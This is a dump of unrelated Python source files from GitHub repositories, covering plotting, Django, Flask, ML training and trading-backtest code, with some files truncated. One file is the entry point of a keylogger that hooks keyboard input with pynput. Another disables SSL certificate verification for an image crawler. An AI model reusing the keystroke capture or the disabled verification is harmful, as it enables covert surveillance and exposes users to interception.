014b741aca76d62d664e95463e8601761d58fa48 | 1a6410e8addb6c2192b5627e94eabf46d8c4a9df | /Plasmawellen/Messdaten/3_3_plot_Dispersion.py | 790b6d2c69a57025d7485625ed8219663dd29283 | [] | no_license | Bondzio/FPWS1819 | 96dfd19cfe2b611b8f4679fecedcd036e8a41a89 | 908e68d7c3854a8fec483d5888a306066048a2cd | refs/heads/master | 2022-02-20T07:07:33.273948 | 2019-09-20T13:47:38 | 2019-09-20T13:47:38 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,893 | py | 3_3_plot_Dispersion.py | import matplotlib.pyplot as plt
import numpy as np
import scipy as sc
from scipy.optimize import curve_fit
# in .dat: frequenz in [kHz] und Wellenlaenge in [cm], in diesen Einheiten auch Rechnen
# das umrechen in w und k
# BEACHTE: Fitparameter muss mit 10 multipliziert werden, damit Geschwindigkeit rauskommt, wegen Wa... |
db271b99c458628fa547fff64e51388491663029 | f9cd0045e717c80e52776cf0333e3c9ccdbae8a1 | /pydcomm/public/connfactories.py | a16ace1de17e492622efb97dc322cc03092dfd19 | [] | no_license | noampetrank/device_communication | a0734aa45c2751e8d19117bafd877439a0c931f3 | 3d82acdd38779b4365ba54222ab255d8100c1841 | refs/heads/master | 2020-12-15T00:36:04.628605 | 2019-12-03T11:03:29 | 2019-12-03T11:03:29 | 234,929,650 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 938 | py | connfactories.py | ########################################################################################################################
#
# Connection Factories
#
# Add definitions and imports of connection factories in this section and add them to the global dictionary of
# connection factories. Choose a short, indicative key, one t... |
674532a296eff3a6fbcb3a760c82c828b8c0059a | 6822f0461381978d1cd85b82b48437621a0dfa5f | /python/Geek-00/代码/lesson08/1协程/p10_proc_con.py | fab499e8497da8e64d92234af9126285a99eb980 | [] | no_license | iceycc/daydayup | 53eb0a6bf1878195695868701912e08730d08f17 | 91c6f547f80111dc5d45e172041437c3fffb5386 | refs/heads/master | 2023-08-10T10:14:49.139447 | 2023-07-26T01:53:08 | 2023-07-26T01:53:08 | 217,419,257 | 4 | 4 | null | null | null | null | UTF-8 | Python | false | false | 572 | py | p10_proc_con.py | # 进程池和协程
from multiprocessing import Pool
import asyncio
import time
async def test(time):
await asyncio.sleep(time)
async def main(num):
start_time = time.time()
tasks = [asyncio.create_task(test(1)) for proxy in range(num)]
[await t for t in tasks]
print(time.time() - start_time)
def run(num... |
78d376ba4028e1ca77daf47aa357a71dc8882436 | dbb52bbe1cd4a279da3d9735a59ffa4d590a98bc | /website/home/migrations/0024_auto_20200111_1429.py | 523698025c4e6a9d93f634b08bb3f34c166098c9 | [] | no_license | notkapier/website | e4bb3e9624360f6113298fb400a1c6e16d0072a3 | 767dbec43531e8690a72b15a846a3f524e3f36ca | refs/heads/master | 2020-11-30T08:21:59.063353 | 2020-01-12T05:25:38 | 2020-01-12T05:25:38 | 230,355,043 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 431 | py | 0024_auto_20200111_1429.py | # Generated by Django 3.0 on 2020-01-11 07:29
import ckeditor_uploader.fields
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('home', '0023_auto_20200111_1323'),
]
operations = [
migrations.AlterField(
model_name='post',
... |
1bbcb38013d078f42efedcb08628c20ef7675e82 | 709491be591a6bec1b5f66879ada2087c5471dea | /backend/tests/conftest.py | 7d544915ea14aa54a11e79bb1ae2be83a395b05c | [
"Apache-2.0"
] | permissive | maharshmellow/CMPUT404-project-socialdistribution | 9b04447bdc15427ff0ece23bed5465d5937c81eb | 6794a2ff55e445694689fe548034ce8c3bfb4cbc | refs/heads/master | 2021-05-27T06:33:36.530603 | 2020-04-06T22:26:17 | 2020-04-06T22:26:17 | 236,250,019 | 0 | 0 | Apache-2.0 | 2020-01-26T00:43:03 | 2020-01-26T00:43:02 | null | UTF-8 | Python | false | false | 1,559 | py | conftest.py | import pytest
from django.contrib.auth import get_user_model
from backend.models import *
import dj_database_url
User = get_user_model()
test_user_1_username = "testuser001"
test_user_1_email = "testemail001@gmail.com"
test_user_1_password = "ualberta!"
test_user_1_github_url = "https://github.com/testuser001"
test_u... |
32e60c05dcb27de2c53e22f6fe2dfb739e90cc4a | c6d1bbe4bbf4ac4073f6285209e81a3e7bdeb0e5 | /abusehelper/core/transformation/bot.py | 0284affa9702dd60ace16f5fa1dcb61637db2272 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | heikipikker/abusehelper | 88ad016a3104d972531388114ef769ff632690ea | c451e36e9927b95ba82253accf170121fce61f4f | refs/heads/master | 2021-06-04T10:04:19.429321 | 2016-06-02T10:30:09 | 2016-06-02T10:30:09 | 107,239,914 | 1 | 1 | null | 2017-10-17T08:29:05 | 2017-10-17T08:29:05 | null | UTF-8 | Python | false | false | 571 | py | bot.py | import idiokit
from .. import handlers
from . import Transformation
class TransformationBot(Transformation):
handler = handlers.HandlerParam()
def __init__(self, *args, **keys):
Transformation.__init__(self, *args, **keys)
self.handler = handlers.load_handler(self.handler)
@idiokit.str... |
3b99e04042af45b4d2237c3408687c8290e43e14 | 3f5eae6b3ecf469624fa4e7a29c5c4738d5e34b6 | /main.py | ca3c273c42b95459445e489ae16b79ee19e14f6c | [] | no_license | DonnyLoa/Astros | f0a5935ae54e58eb7279ec466479464a1b265bc0 | c4761620efc9407965a47872b38c11adf28046e4 | refs/heads/master | 2020-03-24T09:26:28.667137 | 2018-08-04T00:43:17 | 2018-08-04T00:43:17 | 142,629,538 | 0 | 0 | null | 2018-07-30T16:35:55 | 2018-07-27T22:44:49 | Python | UTF-8 | Python | false | false | 27,850 | py | main.py | import webapp2
import jinja2
import os
from google.appengine.api import urlfetch
import json
import random
#import PyV8
from random import shuffle
from model import easyAnimals
from model import mediumAnimals
from model import hardAnimals
from model import easyGeography
from model import mediumGeography
from model impo... |
9319fa4b8afb5e0c50a445179eff4b888c42ee6f | 62fbede58c2c7990fdf07751f8ebf87ce7b8fded | /main.py | 9cb28dd6cb9a03eb55e666d36c54eeca3330cbfb | [] | no_license | AhmedRafikDjerah/keylogger | f895af4ee552716a0e0f083cf70dc45bdf8e6138 | 930b77a2e4f3ec34747943a5d943fb3638f61b60 | refs/heads/master | 2020-03-08T16:32:59.767597 | 2018-04-06T10:07:37 | 2018-04-06T10:07:37 | 128,242,415 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 159 | py | main.py | from listener import Listener
from pynput import keyboard
l = Listener()
with keyboard.Listener(on_press = l.on_press, ) as listener:
listener.join()
|
2219ebc19801b6e2495f67c73251154a53809fd6 | 51935b873e36987706012963ecf662b3d9afa964 | /Experiments/characterizations/fitter/fit.py | b975f4e4c2ab03971d761d5b3f9c3e17a29d0152 | [] | no_license | kouwenhovenlab/BF3 | 849d4266189c1c53c438bf623705ddab037f74b4 | 31499d1dbe0bd331e80210c95536a941236282fe | refs/heads/master | 2020-03-06T16:58:39.088816 | 2019-08-10T15:05:05 | 2019-08-10T15:05:05 | 126,982,308 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,520 | py | fit.py | import numpy as np
import inspect
from ._legacy import minimize, Parameters, Parameter, report_fit
def make_model(function, p0 = None):
args = inspect.getargspec(function).args
pars = Parameters()
for arg in args:
pars.add(arg)
def model(pars):
margs=()
for arg in args:
... |
9f770e3457b197e26ef76770ab45e10842b002c4 | 60dda243497385a616fdb2ce4d4208c57feda8bf | /Clawler.py | 240b6cc28b613b39af3edc486957357a767ac9f5 | [] | no_license | robotproject0502/Mushroom | 4ba8ad7f6e8e6275961b5c55fda0debb83b9eaa7 | 0a0379d6156335d3063acc1976925b5c9766515e | refs/heads/master | 2022-10-24T20:57:34.564939 | 2020-06-16T12:05:14 | 2020-06-16T12:05:14 | 272,133,530 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 515 | py | Clawler.py | from google_images_download import google_images_download
import ssl
from utils.config import Config
ssl._create_default_https_context = ssl._create_unverified_context
config = Config().params
# get iamges from google
def imageCrwaling(keyword, dir):
response = google_images_download.googleimagesdownload... |
8fa80bf5450ee25e8aef09c7a10c2dda49e6093d | b1d8ae9f007b45075c67fc7c4006e9e72a604544 | /ejerciciso_daniel/matrices/01.py | f261ef25df3077e82ea92bfab525f99e422331bd | [] | no_license | WilliamPerezBeltran/studying_python | 019b488818934c471c9322d9a1cb16f095df193e | 4b4140bfce41192506b569787ba7aae50baeae62 | refs/heads/master | 2023-02-07T11:26:37.190849 | 2020-12-26T02:31:12 | 2020-12-26T02:31:12 | 263,965,428 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 172 | py | 01.py | #valor suministrado 4
#resultado: 1 4 4 9 9 9 16 16 16 16 16
import sys
import pdb
def dibujarMatriz(n):
def main():
dibujarMatriz()
if __name__=='__main__':
main()
|
6269fcc974e829e7db2400ac924c4d17dec13730 | 4ca83156ca66057bf7ca0beeaf7558e29106a79c | /forwardt/models.py | 62db6c100503330e544a739700b570c9376853c0 | [] | no_license | polynominom/noisy_labels | 45ca3bf781c8d20241809cad5c88b38bec9a403a | 572e45e61d0e16f420d0b98044e85a5c284150ca | refs/heads/master | 2023-01-20T15:53:42.273531 | 2020-12-05T01:20:17 | 2020-12-05T01:20:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,607 | py | models.py | from __future__ import print_function, division
import numpy as np
import tensorflow as tf
from tensorflow.keras.callbacks import ModelCheckpoint
from tensorflow.keras.callbacks import LearningRateScheduler
from tensorflow.keras.preprocessing import sequence
from tensorflow.keras.optimizers import SGD, Adam
from tensor... |
dc483f41a7e0064868f4a2f5bde88995dfb2e60f | c97fc7658c39feb51c0ed42c04783797c8675b8a | /pyside2_pyqt/pys2/42-QProgressDialog-功能测试.py | b3d3ae72eddff2203d6010c7bd2fe6d3872436c7 | [] | no_license | githubvit/study | 8bff13b18bea4954e8ed1b4619a091b134b8ff97 | 845e19d1225f1aa51c828b15effac30be42fdc1b | refs/heads/master | 2023-02-20T15:59:19.635611 | 2021-12-15T08:30:54 | 2021-12-15T08:30:54 | 241,928,274 | 1 | 1 | null | 2023-02-02T06:18:48 | 2020-02-20T16:08:06 | Python | UTF-8 | Python | false | false | 3,244 | py | 42-QProgressDialog-功能测试.py | # from PySide2.QtWidgets import *
# from PySide2.QtCore import *
# from PySide2.QtGui import *
from PyQt5.Qt import *
class Window(QWidget):
def __init__(self):
super().__init__()
self.resize(500,500)
self.setWindowTitle('进度条对话框QProgressDialog的学习')
self.setup_ui()
def setup_u... |
d99e34b319053362b8aa20c3c3ebdcb018ee1947 | 821ac0a1c532274fd9e6768eb011ccd79074d5b9 | /Quiz2.py | 436760cc9122f987d2cf491897cb456a84e6fa6f | [] | no_license | medyahan/ImageProcessing_COMU | b26e4830291a50c97c4da5ea34eb5d428c4fb2b3 | df668e9b86be145671d1acd5a0f956bacf10a691 | refs/heads/main | 2023-02-16T17:22:03.991496 | 2021-01-15T20:51:44 | 2021-01-15T20:51:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,497 | py | Quiz2.py | #!/usr/bin/env python
# coding: utf-8
# In[2]:
import os
import numpy as np
import matplotlib.pyplot as plt
# In[14]:
def get_value_from_triple(temp):
#temp=im_1[0,0,:]
return int(temp[0]/3+temp[1]/3+temp[2]/3)
get_value_from_triple(im_1[10,10,:])
# In[15]:
def convert_rgb_to_gray(im_1):
m,n,k =... |
4b87f5874b266ae8f8a98a8ba4dff61072a2a233 | 11db2222a9b3d1458bf155b99621ab33104f3fe4 | /backend/flaskr/__init__.py | 06b84c8ae8f7b7862f6f644eca041493ca91d775 | [] | no_license | yosrizakhama/TriviaAPI_FSND | 88ad69db1ec77bfb058112670a4318ef89a7b834 | 4b93ac9973500868edb37a0f6488153f919b554d | refs/heads/master | 2022-12-31T04:01:23.069919 | 2020-10-01T07:18:16 | 2020-10-01T07:18:16 | 299,987,222 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,008 | py | __init__.py |
from flask import Flask, request, abort, jsonify,json
from flask_sqlalchemy import SQLAlchemy
from flask_cors import CORS
from random import randrange as rg
from models import setup_db, Question, Category
from flask_cors.decorator import cross_origin
QUESTIONS_PER_PAGE = 10
def create_app(test_config=None):
# cr... |
4f09c476bdbdff88b916c8963390b9d50e807cfb | 0e7a62345bc5eb34a8306f98e33941f70e603a2b | /syned/storage_ring/magnetic_structures/undulator.py | e82ef5702014308c2c5df53b13fd666fa35c7440 | [] | no_license | jureyherrera/syned | b37bac5c74723f6ca8e0442af9d53d5e115b3188 | eda69838cb13b99986a37509a424cbf0fd3f938c | refs/heads/master | 2020-05-04T15:37:46.986236 | 2019-02-19T16:36:16 | 2019-02-19T16:36:16 | 179,249,497 | 0 | 0 | null | 2019-04-03T08:51:17 | 2019-04-03T08:51:16 | null | UTF-8 | Python | false | false | 2,274 | py | undulator.py | """
Implement an undulator with vertical and horizontal magnetic fields.
"""
import numpy as np
import scipy.constants as codata
cte = codata.e/(2*np.pi*codata.electron_mass*codata.c)
from syned.storage_ring.magnetic_structures.insertion_device import InsertionDevice
class Undulator(InsertionDevice):
def __init... |
78281a220125dbfb63f57f145d96f8a2e15fd88e | 5e888bd62bd5e8196f2c7b24d7ce14846ee1cb53 | /test.py | d2a735fdd1135aff41d87bb6551f75459fce8551 | [] | no_license | leblancdaniel/marchmadness21 | a8cea2fcf544856b58b017e821b0b2719c98ccfc | 47faf53313ed9016662d6dc3caf7e2f0d5634b0a | refs/heads/main | 2023-03-20T17:00:47.725202 | 2021-03-19T16:01:36 | 2021-03-19T16:01:36 | 344,154,565 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,876 | py | test.py | import pandas as pd
import numpy as np
import os
import random
from sklearn import preprocessing, metrics
from sklearn.model_selection import StratifiedKFold, cross_val_score
from sklearn.linear_model import LogisticRegression
import lightgbm as lgb
current_dir = os.path.dirname(__file__)
data_dir = os.path.join(cu... |
aa6fa6532198d2780ac10300bd8ba82900a362de | f69e415768550229721f754512d00872a8f14bf8 | /core/managers.py | 2d06c3023d8324931bd98dcc9a05023d4cfa5aa8 | [] | no_license | Software-Incubator/quiz-portal | 17b6124b865db80426e39352d2e8bed49a69db6a | e96cb03949eb7a056077e148e15c5decccef762c | refs/heads/master | 2022-12-10T19:32:29.221750 | 2020-08-18T06:57:30 | 2020-08-18T06:57:30 | 135,800,615 | 3 | 19 | null | 2022-12-08T10:53:26 | 2018-06-02T08:24:08 | JavaScript | UTF-8 | Python | false | false | 291 | py | managers.py | from django.db import models
from .models import Candidate
class TestManager(models.Manager):
def get_test(self):
email = self.request.session["email"]
candidate = Candidate.objects.get(email=email)
return self.model.objects.get(test_name=candidate.test_name)
|
4d2e267745210b89028e0d13c3c86324a0bad6e9 | aefdc818c6960dab5e0c7eec7ec3b0756efcfb28 | /examples/Iterables.py | 94bcf27d240a57d7d0ce2c92d87ae5d5ab468f3b | [] | no_license | tmtorres/cs373-master | 9adc435c4d7f14cd30e6d3ee9347578ac9416d27 | 201de6a55aa7e9141e87bdd704561d17d39d35b8 | refs/heads/master | 2021-01-18T18:16:22.280087 | 2014-10-08T15:54:56 | 2014-10-08T15:54:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,497 | py | Iterables.py | #!/usr/bin/env python3
# ------------
# Iterables.py
# ------------
from itertools import count
def test_1 (x) :
assert not hasattr(x, "__next__")
assert hasattr(x, "__iter__")
i = iter(x) # i = x.__iter__()
assert hasattr(i, "__next__")
assert hasattr(i, "__iter__")
... |
f378d0d98075e5cdb45b5b67cad4a82a042a3d57 | 19390139456023163f5e82ecfa9eabd09d5da20d | /python/roman1.py | f548821dfe755b87e4cc2ee27b4bdb3799d2908a | [] | no_license | thienhv/notes-1 | 9a17ab8da010445c795cf5c946b9d878193bc5e9 | da7a81a5d443ec2e820e01788a55641d522fc9bc | refs/heads/main | 2023-06-26T06:42:29.074897 | 2021-07-19T19:24:24 | 2021-07-19T19:24:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 91 | py | roman1.py | '''
roman
'''
def to_roman(num):
'''
I convert to roman numberal
'''
pass
|
6a33eb79089feab2e877362b0f662ceae770bd1e | 3d8605913655ca64892b4f1005237697ff0f3999 | /src/handlers/payments/content_handler.py | 667105e7eabc7e27d80c936a5f27cd59fdf9866d | [
"Apache-2.0"
] | permissive | davidvoler/hdis_server | 03a32777187ae737030357b2e62763427fcd5756 | 7cb45c258a31c5a426f739ed451b2f1dc720fa77 | refs/heads/master | 2020-03-16T17:44:41.171124 | 2018-07-24T15:11:39 | 2018-07-24T15:11:39 | 132,845,358 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,011 | py | content_handler.py | from tornado import web, gen
from json import dumps
from tornado.httpclient import AsyncHTTPClient
from tornado.options import options
class ContentHandler(web.RequestHandler):
@gen.coroutine
def get(self):
name = self.get_argument("name", None)
media_id = self.get_argument("media_id", ... |
8e7aab678392edf574809e2d76c1357f224a4b86 | 5e66707ccdea0c000e6e269fce6907ee3cfcdbde | /galaxy/api/views/account.py | 44798e9e2dd2780764f9d2d7aa0a2c1480bd1134 | [
"Apache-2.0"
] | permissive | ansible/galaxy | f629046d579d7cd4e484cdf1e27ad68fe7b170a2 | 6a374cacdf0f04de94486913bba5285e24e178d3 | refs/heads/devel | 2023-09-04T09:21:43.542346 | 2023-08-25T16:58:09 | 2023-08-25T16:58:09 | 24,333,272 | 972 | 419 | Apache-2.0 | 2023-08-25T17:38:20 | 2014-09-22T15:04:57 | Python | UTF-8 | Python | false | false | 1,447 | py | account.py | # (c) 2012-2018, Ansible by Red Hat
#
# This file is part of Ansible Galaxy
#
# Ansible Galaxy is free software: you can redistribute it and/or modify
# it under the terms of the Apache License as published by
# the Apache Software Foundation, either version 2 of the License, or
# (at your option) any later version.
#
... |
df42a4aae4a1aa20b3fa7576b612408247872c40 | d9af28bb1f9eb67300f1dde7942f9b536cbcb1b8 | /230.py | e70ed077f96aefb1cc6ee0b85c492746851116da | [] | no_license | khanjason/leetcode | c78d415fd5794ffb7d15f68b8e2dc89b367317ab | d2c0b41bdd181bee999922be820d6ce16312b7ae | refs/heads/master | 2021-12-26T17:28:32.706678 | 2021-09-09T13:56:09 | 2021-09-09T13:56:09 | 235,096,416 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 556 | py | 230.py | # Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
class Solution:
def preorder(self,root,d):
if root:
d.append(root.val),
... |
e320ee994fccf08d6aa2a0f8bf848c45e963e150 | dac278b9a9802b101bcc08bc084bc954a34d3504 | /Assignments/FBX-Export-Camera_Animation/python/userSetup.py | c4275846e7c142fd9c42754c0f3ad975fe18f374 | [] | no_license | Hengle/ANIM-332-Programming-3D-Animation-Tools | f49cf1885c65fc2437701d9439e63a5fa1947f24 | b65faba3fe9851ed45bff7f80309b6b95984cf31 | refs/heads/main | 2023-05-29T22:21:19.977731 | 2021-06-17T05:01:28 | 2021-06-17T05:01:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 899 | py | userSetup.py | '''
Krysten Tachiyama
This user setup adds a dropdown menu to the Maya menu bar. Clicking on
the menu calls the ktachiyama_fbx_export_camera file and instantiates a UI.
'''
import sys
import inspect
import maya.OpenMayaUI
def create_custom_menu():
# setup menu
menu_name = "fbx_export_camera"
maya.cmds... |
46d9c614a8cdef5529c96165c4a3e06e43353227 | ec256552b23d81186eda930027d1943885b0548c | /train.py | b5106ebe6b4635af28db290a93b362c25a7c8579 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | rocksat/jsis3d | b701a68032ecd264ca9dba572488eac49c4cfa20 | d067cbe9f0141a22ff5f0b7b85946629a5b13c64 | refs/heads/master | 2021-01-07T12:48:04.737661 | 2020-02-19T18:50:08 | 2020-02-19T18:50:08 | 241,699,003 | 0 | 0 | MIT | 2020-02-19T18:52:05 | 2020-02-19T18:52:04 | null | UTF-8 | Python | false | false | 3,423 | py | train.py | import os
import json
import datetime
import argparse
import numpy as np
import torch
import torch.optim as optim
import torch.utils.data as data
from collections import defaultdict
from loaders import *
from models import *
from losses import *
parser = argparse.ArgumentParser()
parser.add_argument('--config', help... |
f51aa6cd167d4164b693b11ef5fe7396392a5a04 | 740812148546b71e46c936b624e0562d266c2bce | /resume_rating/preprocessing/lemma_tagger.py | dd1a7862f5be6f188f118501a607d16ac0fc21e5 | [] | no_license | devshah7543/AI_Project | cc7432ac8b4f0c5bc1c8d2935ae3386dd642f431 | 552c7777dee584f31034e8744c1ff5234574375a | refs/heads/main | 2023-05-24T17:35:45.660579 | 2021-06-05T06:22:24 | 2021-06-05T06:22:24 | 374,131,828 | 3 | 0 | null | 2021-06-05T14:16:41 | 2021-06-05T14:16:40 | null | UTF-8 | Python | false | false | 361 | py | lemma_tagger.py | import nltk
from nltk.corpus import wordnet
def get_wordnet_pos(word):
"""Map POS tag to first character lemmatize() accepts"""
tag = nltk.pos_tag([word])[0][1][0].upper()
tag_dict = {"J": wordnet.ADJ,
"N": wordnet.NOUN,
"V": wordnet.VERB,
"R": wordnet.ADV}
... |
be3c93ceb0b6621051f03ea6bb8a21f91a8678af | 1052cdbab15f932f3cb7a48ef14a90da286da41b | /app/tasks.py | 76d7da8d652f1ba63fc46217b3e364723449ea9f | [] | no_license | peteralfredoflynn/celery-task-management | 52c70c362c9f03739a2f9ef39ea89885499a6a46 | cc407dcccb2b6c6d97f5e75fa823543b62da7894 | refs/heads/master | 2022-04-05T06:54:34.713819 | 2020-02-28T01:13:13 | 2020-02-28T01:13:13 | 243,255,331 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 376 | py | tasks.py | import time
from flask import current_app
from .application import celery
@celery.task(name="say_hello", autoretry_for=(Exception,), retry_backoff=True)
def say_hello(word):
# if random.choice([1, 0]):
# raise Exception("IT BROKE YO!!!")
current_app.logger.info(f"Hello {word}!")
time.sleep(10)
... |
f4a926892016e174f76d1991961de879d8bcb88d | 85350f7d68d63f4f336a4e507911be8cc4fe0ab1 | /src/img_converter.py | 6b91d63b174e2619a26a07bc622853f7da5c9eca | [] | no_license | grammers/img_converter | 203710f438f0e5ffbd4aa9bd12eb30b1325693e5 | 5a8cce94569eabe585d5a18d523170cf664163ea | refs/heads/master | 2021-01-14T16:24:21.641018 | 2020-05-07T13:09:16 | 2020-05-07T13:09:16 | 242,678,916 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,324 | py | img_converter.py | #!/usr/bin/env python
from __future__ import print_function
import roslib
#roslib.load_manifest('my_package')
import sys
import rospy
import cv2
from sensor_msgs.msg import Image
from std_msgs.msg import Float32
from cv_bridge import CvBridge, CvBridgeError
import h5py
from torchvision.transforms import transforms
... |
06280c3bc11dcc95553d7cb724d9092022d9b7d2 | 8cc998417d0f4af8d923369f517188154dc860c3 | /japanese Sentimental_analysis/asari/api.py | 90787e7cbb61e4c1dd4c1ff9e6e8d44e436dcf04 | [
"MIT"
] | permissive | britto-baby/japanese_sentimental-analysis | 16134f430f5ad1d4991b4ad006854daaf52a3c49 | e1a1c14b18cb8bb980942fda3f0d28b70a886c8f | refs/heads/master | 2023-05-29T02:51:37.679078 | 2019-10-22T03:24:45 | 2019-10-22T03:24:45 | 216,714,448 | 1 | 0 | null | 2023-05-01T20:37:02 | 2019-10-22T03:21:05 | Python | UTF-8 | Python | false | false | 1,060 | py | api.py | """
Model API.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import numpy as np
from sklearn.externals import joblib
class Sonar(object):
def __init__(self):
BASE_DIR = os.path.join(os.path.dirname(__file__), './data')
... |
55f6ffc6321f9839377adc2a7879a1d1a0b6d836 | 254b58a0e13acd427d183c22b26977d0b53c9a51 | /China Quant Strat/backtest.py | e138f3f6f321a2ae076b5ca72d0ecc250a8c20da | [] | no_license | papasaidfine/China-Quant-Strat | 18bd9ee21682d9e11c9e3069b938b6596bbfc7a6 | 6112950b357e724f1c987b97c843ecb1714a22a3 | refs/heads/master | 2020-04-29T05:52:44.763961 | 2019-12-20T22:16:24 | 2019-12-20T22:16:24 | 175,897,586 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,615 | py | backtest.py | import pandas as pd
import datetime
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
import statsmodels.formula.api as smf
import statsmodels.api as sm
from scipy.stats import mstats
from functools import partial
import logging
import pyodbc
import pprint
import importlib
import... |